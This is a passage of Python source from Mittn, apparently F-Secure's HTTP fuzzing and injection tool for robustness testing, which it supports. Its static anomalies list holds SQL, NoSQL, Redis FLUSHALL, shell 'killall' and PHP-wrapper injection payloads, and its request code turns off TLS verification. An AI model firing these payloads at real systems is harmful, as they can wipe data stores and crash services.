:return: True or False, depending on whether this is a known issue 67 | """ 68 | 69 | # These keys may not be present because they aren't part of 70 | # the response dict Requests produces, but instead added by us. 71 | # If this function is called without them, default to False. 72 | if 'server_error_text_detected' not in response: 73 | response['server_error_text_detected'] = False 74 | if 'server_error_text_matched' not in response: 75 | response['server_error_text_matched'] = '' 76 | 77 | dbconn = open_database(context) 78 | if dbconn is None: 79 | # No false positive db is in use, all findings are treated as new 80 | return False 81 | 82 | # Check whether we already know about this. A finding is a duplicate if: 83 | # - It has the same protocol level error message (or None) from Requests AND 84 | # - It has the same scenario id, AND 85 | # - It has the same return status code from the server, AND 86 | # - It has the same timeout boolean value, AND 87 | # - It has the same server error text detection boolean value. 88 | 89 | # Because each fuzz case is likely to be separate, we cannot store 90 | # all those. Two different fuzz cases that elicit a similar response are 91 | # indistinguishable in this regard and only the one triggering payload 92 | # gets stored here. This does not always model reality. If fuzzing a 93 | # field triggers an issue, you should thoroughly fuzz-test that field 94 | # separately. 95 | 96 | db_select = sql.select([context.httpfuzzer_issues]).where( 97 | and_( 98 | context.httpfuzzer_issues.c.scenario_id == response['scenario_id'], # Text 99 | context.httpfuzzer_issues.c.server_protocol_error == response['server_protocol_error'], # Text 100 | context.httpfuzzer_issues.c.resp_statuscode == str(response['resp_statuscode']), # Text 101 | context.httpfuzzer_issues.c.server_timeout == response['server_timeout'], # Bool 102 | context.httpfuzzer_issues.c.server_error_text_detected == response['server_error_text_detected'])) # Bool 103 | 104 | db_result = dbconn.execute(db_select) 105 | 106 | # If none found with these criteria, we did not know about this 107 | 108 | if len(db_result.fetchall()) == 0: 109 | return False # No, we did not know about this 110 | 111 | db_result.close() 112 | dbconn.close() 113 | return True 114 | 115 | 116 | def add_false_positive(context, response): 117 | """Add a finding into the database as a new finding 118 | 119 | :param context: The Behave context 120 | :param response: The response data structure (see httptools.py) 121 | """ 122 | 123 | # These keys may not be present because they aren't part of 124 | # the response dict Requests produces, but instead added by us. 125 | # If this function is called without them, default to False. 126 | if 'server_error_text_detected' not in response: 127 | response['server_error_text_detected'] = False 128 | if 'server_error_text_matched' not in response: 129 | response['server_error_text_matched'] = '' 130 | 131 | dbconn = open_database(context) 132 | if dbconn is None: 133 | # There is no false positive db in use, and we cannot store the data, 134 | # so we will assert a failure. Long assert messages seem to fail, 135 | # so we truncate uri and submission to 200 bytes. 136 | truncated_submission = ( 137 | response['req_body'][:200] + "... (truncated)") if len( 138 | response['req_body']) > 210 else response['req_body'] 139 | truncated_uri = (response['url'][:200] + "... (truncated)") if len( 140 | response['url']) > 210 else response['url'] 141 | assert False, "Response from server failed a check, and no errors " \ 142 | "database is in use. Scenario id = %s, error = %s, " \ 143 | "timeout = %s, status = %s, URI = %s, req_method = %s, " \ 144 | "submission = %s" % ( 145 | response['scenario_id'], 146 | response['server_protocol_error'], 147 | response['server_timeout'], 148 | response['resp_statuscode'], 149 | truncated_uri, 150 | response['req_method'], 151 | truncated_submission) 152 | 153 | # Add the finding into the database 154 | 155 | db_insert = context.httpfuzzer_issues.insert().values( 156 | new_issue=True, # Boolean 157 | timestamp=response['timestamp'], # DateTime 158 | test_runner_host=socket.gethostbyname(socket.getfqdn()), # Text 159 | scenario_id=str(response['scenario_id']), # Text 160 | req_headers=str(response['req_headers']), # Blob 161 | req_body=str(response['req_body']), # Blob 162 | url=str(response['url']), # Text 163 | req_method=str(response['req_method']), # Text 164 | server_protocol_error=response['server_protocol_error'], # Text 165 | server_timeout=response['server_timeout'], # Boolean 166 | server_error_text_detected=response['server_error_text_detected'], # Boolean 167 | server_error_text_matched=response['server_error_text_matched'], # Text 168 | resp_statuscode=str(response['resp_statuscode']), # Text 169 | resp_headers=str(response['resp_headers']), # Blob 170 | resp_body=str(response['resp_body']), # Blob 171 | resp_history=str(response['resp_history'])) # Blob 172 | 173 | dbconn.execute(db_insert) 174 | dbconn.close() 175 | 176 | 177 | def number_of_new_in_database(context): 178 | dbconn = open_database(context) 179 | if dbconn is None: # No database in use 180 | return 0 181 | 182 | true_value = True # SQLAlchemy cannot have "is True" in where clause 183 | 184 | db_select = sql.select([context.httpfuzzer_issues]).where( 185 | context.httpfuzzer_issues.c.new_issue == true_value) 186 | db_result = dbconn.execute(db_select) 187 | findings = len(db_result.fetchall()) 188 | db_result.close() 189 | dbconn.close() 190 | return findings 191 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/dictwalker.py: -------------------------------------------------------------------------------- 1 | """Walk through unserialised Python dict/list objects and inject 2 | badness at each key/value. Badness is provided in a dict that has one 3 | or more keys, and each key has a list of bad values that are to be 4 | injected into that key. 5 | 6 | E.g.: 7 | key1 -> list of bad things to be injected for key1 8 | key2 -> list of bad things to be injected for key1 9 | None -> list of bad things to be injected generally 10 | 11 | The key "None" is used for general in injection. 12 | 13 | This is done because this allows us to fuzz the values for keys with specific 14 | valid samples for each key separately. 15 | 16 | """ 17 | import copy 18 | 19 | __copyright__ = "Copyright (c) 2013- F-Secure" 20 | 21 | 22 | def anomaly_dict_generator_static(static_anomalies_list): 23 | """Return a dict with a key None and one single anomaly from static 24 | anomalies list. This means that all injections using this use one 25 | single static anomalies list, irrespective of where they are 26 | injected. 27 | 28 | :param static_anomalies_list: List of static bad data (e.g., 29 | static_anomalies.py) 30 | """ 31 | anomalies = iter(static_anomalies_list) 32 | for a in anomalies: 33 | yield {None: a} 34 | 35 | 36 | def anomaly_dict_generator_fuzz(fuzzed_anomalies_dict): 37 | """Return a dict with fuzzed data for keys and a "None" key 38 | 39 | :param fuzzed_anomalies_dict: List of fuzzer-generated bad data (see 40 | fuzzer.py) 41 | """ 42 | fuzzcase = {} 43 | for key in fuzzed_anomalies_dict.keys(): 44 | fuzzcase[key] = iter(fuzzed_anomalies_dict[key]) 45 | while True: 46 | data = {} 47 | for key in fuzzed_anomalies_dict.keys(): 48 | data[key] = fuzzcase[key].next() 49 | yield data 50 | 51 | 52 | def dictwalk(branch, anomaly_dict, anomaly_key=None): 53 | """Walk through a data structure recursively, return a list of data 54 | structures where each key and value has been replaced with an 55 | injected (fuzz) case one by one. The anomaly that is injected is 56 | taken from a dict of anomalies. The dict has a "generic" anomaly with 57 | a key of None, and may have specific anomalies under other keys. 58 | 59 | :param branch: The branch of a data structure to walk into. 60 | :param anomaly_dict: One of the anomaly dictionaries that has been prepared 61 | :param anomaly_key: If the branch where we walk into is under a specific 62 | key, this is under what key it is 63 | """ 64 | # Process dict-type branches 65 | if isinstance(branch, dict): 66 | fuzzed_branch = [] 67 | # Add cases where one of the keys has been removed 68 | for key in branch.keys(): 69 | # Add a case where key has been replaced with an anomaly 70 | fuzzdict = branch.copy() 71 | try: # Keys need to be strings 72 | fuzzdict[str(anomaly_dict[None])] = fuzzdict[key] 73 | except UnicodeEncodeError: # Key was too broken to be a string 74 | fuzzdict['\xff\xff'] = fuzzdict[key] # Revenge using key 0xFFFF 75 | del fuzzdict[key] 76 | fuzzed_branch.append(fuzzdict) 77 | 78 | for key, value in branch.items(): 79 | # Last, add a case where the key's value (branch or leaf) 80 | # has been replaced with its fuzzed version 81 | sub_branches = dictwalk(value, anomaly_dict, key) 82 | for sub_branch in sub_branches: 83 | fuzzdict = branch.copy() 84 | fuzzdict[key] = sub_branch 85 | fuzzed_branch.append(fuzzdict) 86 | return fuzzed_branch 87 | # Process list-type branches 88 | if isinstance(branch, list): 89 | fuzzed_branch = [] 90 | # Replace each list item (branch or leaf) with its fuzzed version 91 | for i in range(0, len(branch)): 92 | # Add a version where a list item has been fuzzed 93 | sub_branches = dictwalk(branch[i], anomaly_dict, anomaly_key) 94 | for sub_branch in sub_branches: 95 | fuzzdict = copy.copy(branch) 96 | fuzzdict[i] = sub_branch 97 | fuzzed_branch.append(fuzzdict) 98 | return fuzzed_branch 99 | # A leaf node; return just a list of anomalies for a value 100 | if isinstance(branch, (int, str, unicode, float)) or \ 101 | branch in (True, False, None): 102 | # Get the anomaly to be injected from the anomaly_dict. 103 | anomaly = anomaly_dict.get(anomaly_key) 104 | if anomaly is None: 105 | # There is no specific anomaly for this key's values, so we use a 106 | # generic one 107 | anomaly = anomaly_dict.get(None) 108 | return [anomaly] 109 | # Finally, the data structure contains something that a unserialised JSON 110 | # cannot contain; instead of just removing it, we return it as-is without 111 | # injection 112 | return [branch] 113 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/fuzzer.py: -------------------------------------------------------------------------------- 1 | """Wrapper for Radamsa for fuzzing objects. It will collect valid 2 | strings from objects, run a fuzzer over them, and return them in a dict 3 | that can be passed on to the injector.""" 4 | 5 | import tempfile 6 | import os 7 | import subprocess 8 | import shutil 9 | 10 | __copyright__ = "Copyright (c) 2013- F-Secure" 11 | 12 | 13 | def collect_values(branch, valid_values, anomaly_key=None): 14 | """Recursively collect all values from a data structure into a dict where 15 | valid values are organised under keys, or a "None" key if 16 | they weren't found under any key 17 | 18 | :param branch: A branch of the data structure 19 | :param valid_values: The collected valid values 20 | :param anomaly_key: Under which key the current branch is 21 | """ 22 | # Each key found in valid samples will have a list of values 23 | if valid_values.get(anomaly_key) is None: 24 | valid_values[anomaly_key] = [] 25 | # If we see a dict, we will get all the values under that key 26 | if isinstance(branch, dict): 27 | for key, value in branch.items(): 28 | collect_values(value, valid_values, key) 29 | # If we see a list, we will add all values under current key 30 | # (perhaps a parent dict) 31 | if isinstance(branch, list): 32 | for i in range(0, len(branch)): 33 | collect_values(branch[i], valid_values, anomaly_key) 34 | # If we see an actual value, we will add the value under both the 35 | # current key and the "None" key 36 | if isinstance(branch, (int, str, unicode, float)) or branch in ( 37 | True, False, None): 38 | valid_values[anomaly_key].append(branch) 39 | valid_values[None].append(branch) 40 | return valid_values 41 | 42 | 43 | def fuzz_values(valuedict, no_of_fuzzcases, radamsacmd): 44 | """Run every key's valid value list through a fuzzer 45 | 46 | :param valuedict: Dict of collected valid values 47 | :param no_of_fuzzcases: How many injection cases to produce 48 | :param radamsacmd: Command to run Radamsa 49 | """ 50 | fuzzdict = {} # Will hold the result 51 | for key in valuedict.keys(): 52 | # If no values for a key, use the samples under the None key 53 | if valuedict[key] == []: 54 | fuzzdict[key] = get_fuzz(valuedict[None], no_of_fuzzcases, 55 | radamsacmd) 56 | else: # Use the samples collected for the specific key 57 | fuzzdict[key] = get_fuzz(valuedict[key], no_of_fuzzcases, 58 | radamsacmd) 59 | return fuzzdict 60 | 61 | 62 | def get_fuzz(valuelist, no_of_fuzzcases, radamsacmd): 63 | """Run Radamsa on a set of valid values 64 | 65 | :param valuelist: Valid cases to feed to Radamsa 66 | :param no_of_fuzzcases: Number of fuzz cases to generate 67 | :param radamsacmd: Command to run Radamsa 68 | :return: 69 | """ 70 | 71 | # Radamsa is a file-based fuzzer so we need to write the valid strings 72 | # out to files 73 | valid_case_directory = tempfile.mkdtemp() 74 | fuzz_case_directory = tempfile.mkdtemp() 75 | for valid_string in valuelist: 76 | tempfilehandle = tempfile.mkstemp(suffix='.case', 77 | dir=valid_case_directory) 78 | with os.fdopen(tempfilehandle[0], "w") as filehandle: 79 | # Radamsa only operates on strings, so make numbers and booleans 80 | # into strings. (No, this won't fuzz effectively, use static 81 | # injection to cover those cases.) 82 | if isinstance(valid_string, (bool, int, long, float)): 83 | valid_string = str(valid_string) 84 | filehandle.write(bytearray(valid_string, "UTF-8")) 85 | 86 | # Run Radamsa 87 | try: 88 | subprocess.check_call( 89 | [radamsacmd, "-o", fuzz_case_directory + "/%n.fuzz", "-n", 90 | str(no_of_fuzzcases), "-r", valid_case_directory]) 91 | except subprocess.CalledProcessError as error: 92 | assert False, "Could not execute Radamsa: %s" % error 93 | 94 | # Read the fuzz cases from the output directory and return as list 95 | fuzzlist = [] 96 | for filename in os.listdir(fuzz_case_directory): 97 | filehandle = open(fuzz_case_directory + "/" + filename, "r") 98 | fuzzlist.append(filehandle.read()) 99 | shutil.rmtree(valid_case_directory) 100 | shutil.rmtree(fuzz_case_directory) 101 | return fuzzlist 102 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/httptools.py: -------------------------------------------------------------------------------- 1 | """Send a request to server using a variety of ways and return the results.""" 2 | import requests 3 | import logging 4 | import json 5 | import socket # For getting local hostname & IP for the abuse header 6 | import datetime # For timestamps 7 | 8 | __copyright__ = "Copyright (c) 2013- F-Secure" 9 | 10 | 11 | def send_http(context, submission, timeout=5, proxy=None, 12 | content_type='application/x-www-form-urlencoded; charset="utf-8"', 13 | scenario_id=0, auth=None, method='POST'): 14 | """Send out HTTP request and store the request and response for 15 | analysis 16 | 17 | :param context: The Behave context 18 | :param submission: Data to be sent (body or GET parameters) 19 | :param timeout: Timeout value (optional) 20 | :param proxy: Proxy specification (optional) 21 | :param body_only: False to send GET data in request body, not in URI 22 | :param scenario_id: User specified scenario identifier from feature file 23 | :param auth: Requests authentication object, from authenticate.py 24 | :param method: HTTP method to be used 25 | :return: A dict of request and response data 26 | """ 27 | logging.getLogger("requests").setLevel(logging.WARNING) 28 | 29 | if not hasattr(context, "targeturi"): 30 | assert False, "Target URI not specified" 31 | uri = context.targeturi 32 | 33 | proxydict = None # Default is no proxies 34 | if proxy is not None: 35 | proxydict = {'http': 'http://' + proxy, 'https': 'https://' + proxy} 36 | response_list = [] # We return list of responses we got 37 | 38 | response = {} 39 | 40 | req = create_http_request(method, 41 | uri, 42 | content_type, 43 | submission, 44 | auth) 45 | 46 | # Store the actual request & submission bytes for reference 47 | response['req_headers'] = json.dumps(dict(req.headers)) 48 | response['req_body'] = submission 49 | response['url'] = uri 50 | response['req_method'] = method 51 | response['server_protocol_error'] = None # Default 52 | response['server_timeout'] = False # Default 53 | response['scenario_id'] = scenario_id 54 | response['resp_statuscode'] = "" # Default 55 | response['resp_headers'] = "" # Default 56 | response['resp_body'] = "" # Default 57 | response['resp_history'] = "" # Default 58 | response['timestamp'] = datetime.datetime.utcnow() 59 | 60 | # Next, perform the request 61 | session = requests.Session() 62 | try: 63 | resp = session.send(req, timeout=timeout, verify=False, 64 | proxies=proxydict, allow_redirects=True) 65 | 66 | # Catalogue any errors and save responses for inspection 67 | except requests.exceptions.Timeout: 68 | response['server_timeout'] = True 69 | except requests.exceptions.RequestException as error: 70 | response['server_protocol_error'] = error 71 | else: # Valid response, store response data 72 | response['resp_statuscode'] = resp.status_code # Response code 73 | response['resp_headers'] = json.dumps(dict(resp.headers)) # Header dict 74 | response['resp_body'] = resp.content # Bytes in body 75 | response['resp_history'] = resp.history # Redirection history 76 | response_list.append(response) 77 | return response_list 78 | 79 | 80 | def create_http_request(method, uri, content_type, submission, auth=None, valid_case=False): 81 | # Set up some headers 82 | """Create and return a Requests HTTP request object. In a separate 83 | function to allow reuse. 84 | 85 | :param method: HTTP method to be used 86 | :param uri: URL to send the data to 87 | :param content_type: Content type of data to be sent 88 | :param submission: Data to be sent 89 | :param auth: Requests Auth object from authenticate.py 90 | :return: Requests HTTP request object 91 | """ 92 | headers = {'Content-Type': content_type, 93 | 'Cache-Control': 'no-cache', 94 | 'User-Agent': 'Mozilla/5.0 (compatible; Mittn HTTP ' 95 | 'Fuzzer-Injector)', 96 | 'X-Abuse': 'This is an automatically generated robustness test ' 97 | 'request from %s [%s]' % (socket.getfqdn(), socket.gethostbyname(socket.gethostname())), 98 | 'Connection': 'close'} 99 | 100 | if valid_case is True: 101 | headers['X-Valid-Case-Instrumentation'] = 'This is a valid request that should succeed' 102 | 103 | if method == 'GET': # Inject into URI parameter 104 | req = requests.Request(method=method, headers=headers, 105 | url=str(uri) + submission, 106 | auth=auth).prepare() 107 | else: # Inject into request body 108 | req = requests.Request(method=method, headers=headers, url=uri, 109 | data=submission, auth=auth).prepare() 110 | return req 111 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/injector.py: -------------------------------------------------------------------------------- 1 | """Helper functions for injecting data and testing valid cases.""" 2 | from mittn.httpfuzzer.httptools import * 3 | from mittn.httpfuzzer.dictwalker import * 4 | from mittn.httpfuzzer.posttools import * 5 | from features.authenticate import authenticate 6 | import requests 7 | import logging 8 | from mittn.httpfuzzer.url_params import * 9 | 10 | __copyright__ = "Copyright (c) 2013- F-Secure" 11 | 12 | 13 | def inject(context, injection_list): 14 | """Helper function to inject the payload and to collect the results 15 | 16 | :param context: The Behave context 17 | :param injection_list: An anomaly dictionary, see dictwalker.py 18 | """ 19 | 20 | # Get the user-supplied list of HTTP methods that we will inject with 21 | if hasattr(context, "injection_methods"): 22 | methods = context.injection_methods 23 | else: 24 | methods = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'HEAD', 'PATCH'] 25 | 26 | responses = [] 27 | for injection in injection_list: 28 | # Walk through the submission and inject at every key, value 29 | for injected_submission in dictwalk(context.submission[0], injection): 30 | # Use each method 31 | for method in methods: 32 | # Output according to what the original source was 33 | # Send URL-encoded submissions 34 | if context.type == 'urlencode': 35 | form_string = serialise_to_url(injected_submission, encode=True) 36 | if method == 'GET': 37 | form_string = '?' + form_string 38 | 39 | # If the payload is in URL parameters (_not_ query) 40 | if context.type == 'url-parameters': 41 | form_string = dict_to_urlparams(injected_submission) 42 | 43 | # If the payload is JSON, send the raw thing 44 | if context.type == 'json': 45 | form_string = serialise_to_json(injected_submission, 46 | encode=True) 47 | 48 | if hasattr(context, 'proxy_address') is False: 49 | context.proxy_address = None 50 | 51 | responses += send_http(context, form_string, 52 | timeout=context.timeout, 53 | proxy=context.proxy_address, 54 | method=method, 55 | content_type=context.content_type, 56 | scenario_id=context.scenario_id, 57 | auth=authenticate(context, 58 | context.authentication_id)) 59 | 60 | # Here, I'd really like to send out unencoded (invalid) 61 | # JSON too, but the json library barfs too easily, so 62 | # we concentrate on application layer input fuzzing. 63 | 64 | if hasattr(context, "valid_case_instrumentation"): 65 | test_valid_submission(context, injected_submission) 66 | return responses 67 | 68 | 69 | def test_valid_submission(context, injected_submission=None): 70 | """Test submitting the valid case (or the first of a list of valid cases) 71 | as a HTTP POST. The server has to respond with something sane. This ensures 72 | the endpoint actually exists so testing has any effect. This function is 73 | called once in the beginning of a test run, and if valid case 74 | instrumentation is set, after every injection to check if everything's 75 | still working. Unlike injection problems, a failure of a valid case will 76 | terminate the whole test run (if valid cases don't work, the validity of 77 | the test run would be questionable). 78 | 79 | :param context: The Behave context 80 | :param injected_submission: Request body to be sent 81 | """ 82 | 83 | # to avoid errors re/ uninitialized object 84 | proxydict = {} 85 | 86 | if injected_submission is None: 87 | injected_submission = "(None)" # For user readability only 88 | 89 | logging.getLogger("requests").setLevel(logging.WARNING) 90 | if hasattr(context, 'proxy_address'): 91 | if context.proxy_address: 92 | proxydict = {'http': 'http://' + context.proxy_address, 93 | 'https': 'https://' + context.proxy_address} 94 | else: 95 | context.proxy = None 96 | proxydict = None 97 | 98 | if context.type == 'json': 99 | data = json.dumps(context.submission[0]) 100 | if context.type == 'urlencode': 101 | data = serialise_to_url(context.submission[0], encode=True) 102 | if context.submission_method == 'GET': 103 | data = '?' + data 104 | if context.type == 'url-parameters': 105 | data = dict_to_urlparams(context.submission[0]) 106 | 107 | # In the following loop, we try to send the valid case to the target. 108 | # If the response code indicates an auth failure, we acquire new auth 109 | # material (e.g., relogin), implemented in authenticate() in 110 | # authenticate.py. 111 | # If authentication fails twice in a row, we bail out. 112 | # If the valid case fails for other reasons (unsuccessful status code, 113 | # timeout, HTTP error), we bail out. 114 | # We report the previous injection (if any) in the error message. 115 | 116 | retry = 0 117 | while True: 118 | if retry == 1: # On second try, recreate auth material 119 | auth = authenticate(context, context.authentication_id, 120 | acquire_new_authenticator=True) 121 | else: 122 | auth = authenticate(context, context.authentication_id) 123 | retry += 1 # How many retries 124 | try: 125 | req = create_http_request(context.submission_method, 126 | context.targeturi, 127 | context.content_type, 128 | data, 129 | auth, 130 | valid_case=True) 131 | session = requests.Session() 132 | resp = session.send(req, 133 | timeout=context.timeout, 134 | verify=False, proxies=proxydict) 135 | except requests.exceptions.Timeout: 136 | assert False, "Valid case %s request to URI %s timed out after an " \ 137 | "injection %s" % ( 138 | context.submission_method, context.targeturi, 139 | injected_submission) 140 | except requests.exceptions.ConnectionError as error: 141 | assert False, "Valid case %s request to URI %s after an injected " \ 142 | "submission %s failed: %s" % ( 143 | context.submission_method, context.targeturi, 144 | injected_submission, error) 145 | if resp.status_code in [401, 403, 405, 407, 419, 440]: 146 | if retry > 1: # Unauthorised two times in a row? 147 | assert False, "Valid case %s request to URI %s failed " \ 148 | "authorisation twice in a row after injected " \ 149 | "submission %s: Response status code %s" % ( 150 | context.submission_method, context.targeturi, 151 | injected_submission, resp.status_code) 152 | else: 153 | continue # Unauthorised. Retry 154 | if hasattr(context, "valid_cases"): 155 | if resp.status_code not in context.valid_cases: 156 | assert False, "Valid case %s request to URI %s after injected " \ 157 | "submission %s did not work: Response status " \ 158 | "code %s" % (context.submission_method, 159 | context.targeturi, 160 | injected_submission, resp.status_code) 161 | 162 | # If we are here, the request was successful 163 | break # Stop trying, continue with the test run 164 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/number_ranges.py: -------------------------------------------------------------------------------- 1 | """A function to unpack integer ranges of the form x-y,z.""" 2 | import re 3 | 4 | __copyright__ = "Copyright (c) 2013- F-Secure" 5 | 6 | 7 | def unpack_integer_range(integerrange): 8 | """Input an integer range spec like "200,205-207" and return a list of 9 | integers like [200, 205, 206, 207] 10 | 11 | :param integerrange: The range specification as a string 12 | :return: Sorted integers in a list 13 | """ 14 | 15 | integers = [] # To hold the eventual result 16 | valid_chars = re.compile("^[0-9\-, ]+$") 17 | if re.match(valid_chars, integerrange) is None: 18 | assert False, "Number range %s in the feature file is invalid. Must " \ 19 | "contain just numbers, commas, and hyphens" % integerrange 20 | integerrange.replace(" ", "") 21 | rangeparts = integerrange.split(',') # One+ comma-separated int ranges 22 | 23 | for rangepart in rangeparts: 24 | rangemaxmin = rangepart.split('-') # Range is defined with a hyphen 25 | if len(rangemaxmin) == 1: # This was a single value 26 | try: 27 | integers.extend([int(rangemaxmin[0])]) 28 | except ValueError: 29 | assert False, "Number range %s in the feature file is " \ 30 | "invalid. Must be integers separated with commas and " \ 31 | "hyphens" % integerrange 32 | elif len(rangemaxmin) == 2: # It was a range of values 33 | try: 34 | rangemin = int(rangemaxmin[0]) 35 | rangemax = int(rangemaxmin[1]) + 1 36 | except ValueError: 37 | assert False, "Number range %s in the feature file is " \ 38 | "invalid. Must be integers separated with commas and " \ 39 | "hyphens" % integerrange 40 | if rangemin >= rangemax: 41 | assert False, "Number range %s in the feature file is " \ 42 | "invalid. Range minimum is more than " \ 43 | "maximum" % integerrange 44 | integers.extend(range(rangemin, rangemax)) 45 | else: # Range specifier was not of the form x-y 46 | assert False, "Number range %s in the feature file is invalid. " \ 47 | "Incorrect range specifier" % \ 48 | integerrange 49 | return sorted(integers) 50 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/posttools.py: -------------------------------------------------------------------------------- 1 | """Helper functions for outputting GET/POST content.""" 2 | import urllib 3 | import json 4 | 5 | __copyright__ = "Copyright (c) 2013- F-Secure" 6 | 7 | 8 | def serialise_to_url(dictionary, encode=True): 9 | """Take a dictionary and URL-encode it for HTTP submission 10 | 11 | :param dictionary: A dictionary to be serialised 12 | :param encode: Should it be URL-encoded? 13 | """ 14 | serialised = [] 15 | for key in dictionary.keys(): 16 | if isinstance(dictionary[key], list): # Multiple values for a key 17 | for value in dictionary[key]: 18 | if encode is True: 19 | enc_key = urllib.quote(str(key)) 20 | enc_value = urllib.quote(str(value)) 21 | serialised.append("%s=%s" % (enc_key, enc_value)) 22 | else: # Output raw data (against spec, for fuzzing) 23 | serialised.append("%s=%s" % (str(key), str(value))) 24 | else: 25 | if encode is True: 26 | enc_key = urllib.quote(str(key)) 27 | enc_value = urllib.quote(str(dictionary[key])) 28 | serialised.append("%s=%s" % (enc_key, enc_value)) 29 | else: # Output raw data (against spec, for fuzzing) 30 | serialised.append("%s=%s" % (str(key), str(dictionary[key]))) 31 | return str("&".join(serialised)) 32 | 33 | 34 | def serialise_to_json(dictionary, encode=True): 35 | """Take a dictionary and JSON-encode it for HTTP submission 36 | 37 | :param dictionary: A dictionary to be serialised 38 | :param encode: Should the putput be ensured to be ASCII 39 | """ 40 | 41 | # Just return the JSON representation, and output as raw if requested 42 | # The latin1 encoding is a hack that just allows a 8-bit-clean byte-wise 43 | # output path. Using UTF-8 here would make Unicode libraries barf when using 44 | # fuzzed data. The character set is communicated to the client in the 45 | # HTTP headers anyway, so this shouldn't have an effect on efficacy. 46 | return json.dumps(dictionary, ensure_ascii=encode, encoding="iso-8859-1") 47 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/static_anomalies.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # pylint: disable=line-too-long 3 | """List of static anomalies that can be injected. 4 | 5 | Before using, replace mittn.org domain references with something you 6 | have control over. 7 | 8 | These injections should be designed to cause a detectable problem at 9 | the server end. The tool doesn't check for reflected data, so any 10 | XSS-style injections are mostly useless here. If you add new ones, try 11 | to cause (any 5xx series) server error or a timeout. Alternatively, 12 | try to inject some greppable string (POSSIBLE_INJECTION_PROBLEM used 13 | here) that can potentially be caught by automated instrumentation at 14 | target. 15 | 16 | Trying to extract /etc/passwd, or something like that, may not trigger 17 | a client-side detection of a successful injection. Try to trigger 18 | reading from /dev/zero, /dev/random or some such place, sleep for a 19 | prolonged time, or kill a number of processes related to the web 20 | application stack. In these cases, you'd be more likely to cause at 21 | least a timeout. 22 | 23 | """ 24 | __copyright__ = "Copyright (c) 2013- F-Secure" 25 | 26 | anomaly_list = [ 27 | # Valid cases 28 | "A harmless string", # Something easy to start with 29 | str('\xc3\xa5\xc3\xa4\xc3\xb6'), # Scandinavian characters as Unicode UTF-8 30 | 31 | # SQL and NoSQL injections 32 | "' --", # SQL: End statement, start comment 33 | "' or 'x'='x' --", # SQL: always true for strings 34 | "' or 1=1 --", # SQL: End statement, evaluate to always true 35 | "1 OR 1=1 --", # SQL: Always true for numbers 36 | "'; select datname from pg_database; --", # PostgreSQL: list all tables 37 | "\\''; select datname from pg_database; --", # PostgreSQL: list all tables, extra escape 38 | "'&59; select datname from pg_database&59; --", # PostgreSQL: list all tables, HTML entities 39 | "'; SHOW DATABASES; --", # MySQL: list all databases 40 | "\\''; SHOW DATABASES; --", # MySQL: list all databases, extra escape 41 | "'&59; SHOW DATABASES&59; --", # MySQL: list all databases, HTML entities 42 | "'; select global_name from global_name; --", # Oracle: show current database 43 | "\\''; select global_name from global_name; --", # Oracle: show current database, extra escape 44 | "'&59; select global_name from global_name&59; --", # Oracle: show current database, HTML entities 45 | "'; select * from SQLITE_MASTER; --", # SQLite: show master table 46 | "\\''; select * from SQLITE_MASTER; --", # SQLite: show master table, extra escape 47 | "'&59; select * from SQLITE_MASTER&59; --", # SQLite: show master table, HTML entities 48 | "'; select @@version; --", # MS SQL Server: show DB details 49 | "\\''; select @@version; --", # MS SQL Server: show DB details, extra escape 50 | "'&59; select @@version&59; --", # MS SQL Server: show DB details, HTML entities 51 | # End regex for MongoDB find function and inject a search parameter that matches all 52 | # (and hope that makes the app barf) 53 | '/, "_id": /.*', 54 | # End regex for MongoDB find function and inject JavaScript code (that is hopefully slow enough) 55 | '.*/, $where : function() { sleep(1000000) }, "_id": /.*', 56 | '{ $ne : ""}', # MongoDB match if parameter is not an empty string (and hopen that makes the app barf) 57 | '{ $where : function() { sleep(1000000) } }', # MongoDB try to execute JavaScript that is slow 58 | '/.*/', # MongoDB match everything as a regex (and again hope that breaks the app) 59 | '\nFLUSHALL', # Redis: remove all keys from the system 60 | '\r\nFLUSHALL\r\n', # Redis: remove all keys from the system 61 | '"\n while true do\n end\nfoo="', # Redis: Lua code injection into a string 62 | "'\n while true do\n end\nfoo='", # Redis: Lua code injection into a string 63 | '_rev', # Perhaps confuses a CouchDB query 64 | '", "map":"function(map) { while(1); }", "', # Try to inject a CouchDB map function 65 | 'function(map) { while(1); }', # Again try to inject a CouchDB map function 66 | '")\nLOAD CSV FROM "/dev/urandom" AS line //', # Cypher (Neo4j) injection, hopefully induce a timeout 67 | "')\nLOAD CSV FROM '/dev/urandom' AS line //", # Cypher (Neo4j) injection, hopefully induce a timeout 68 | 69 | # Regular expressions 70 | r'(?R)*', # Infinite recursion (PCRE) 71 | r'\g<0>*', # Infinite recursion (Ruby) 72 | r'(?0)*', # Infinite recursion (Perl) 73 | 74 | # Shell injection 75 | r"`cat /dev/zero`", # Backtick exec 76 | r"| cat /dev/zero;", # Pipe exec 77 | "< /dev/zero;", # stdin from /dev/zero 78 | "> /dev/null;", # Send output to /dev/null 79 | "../" * 15 + "dev/zero", # /etc/passwd 80 | "`killall -g apache php nginx python perl node postgres bash`", # Backtick exec 81 | "| killall -g apache php nginx python perl node postgres bash;", # Pipe exec 82 | "`ping localhost`", # Backtick exec intended to cause a timeout 83 | "' . `killall -g apache php nginx python perl node postgres bash` . '", # Backtick exec, single quote PHP insert 84 | '" . `killall -g apache php nginx python perl node postgres bash` . "', # Backtick exec, double quote PHP insert 85 | "expect://killall%20-g%20apache%20php", # A naïve try to leverage PHP's expect:// wrapper 86 | "ssh2.exec://localhost/killall%20-g%20apache%20php", # A naïve try to leverage PHP's ssh2 wrapper 87 | "php://filter/resource=/dev/zero", # A naïve try to leverage PHP's filter wrapper 88 | "compress.zlib:///dev/zero", # A naïve try to leverage PHP's compression wrapper 89 | "glob://*", # A naïve try to leverage PHP's glob wrapper 90 | # E.g. PHP system exec, double quote insert 91 | '" . system(\'killall -g apache php nginx python perl node postgres bash\'); . "', 92 | # E.g. PHP system exec, single quote insert 93 | "' . system(\'killall -g apache php nginx python perl node postgres bash\'); . '", 94 | "require('assert').fail(0,1,'Node injection','');", # Node.js command injection 95 | "var sys = require('assert'); sys.fail(0,1,'Node injection','');", # Node.js command injection, 96 | "var 